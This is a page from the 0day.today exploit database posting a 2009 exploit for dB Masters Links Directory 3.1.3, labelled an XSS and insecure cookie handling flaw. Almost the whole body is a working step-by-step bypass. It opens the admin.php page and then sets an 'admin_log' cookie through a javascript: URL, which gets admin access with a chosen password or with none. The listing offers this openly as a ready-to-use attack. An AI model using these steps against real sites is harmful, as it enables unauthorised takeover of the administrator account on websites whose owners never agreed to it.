[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

dB Masters Multimedia Insecure Cookie Handling Vulnerability

Author
indoushka
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10419
Category
web applications
Date add
26-12-2009
Platform
unsorted
============================================================
dB Masters Multimedia Insecure Cookie Handling Vulnerability
============================================================

========================================================================================                 
| # Title    : dB Masters Multimedia Insecure Cookie Handling Vulnerability            |
| # Author   : indoushka                                                               |
| # Script   : Powered by dB Masters Multimedia (dB Masters Links Directory 3.1.3)     |
| # Tested on: windows SP2 Fran?ais V.(Pnx2 2.0) + Lunix Fran?ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     |
======================      Exploit By indoushka       =================================
| # Exploit  :
|
| 1- http://server/links/admin.php
| 2- javascript:document.cookie="admin_log=in;path=/";
| login whith the pass "in"
| 3- javascript:document.cookie="admin_log=indoushka;path=/";
| login whith out pss
| tested in Opera V.10



#  0day.today [2024-12-23]  #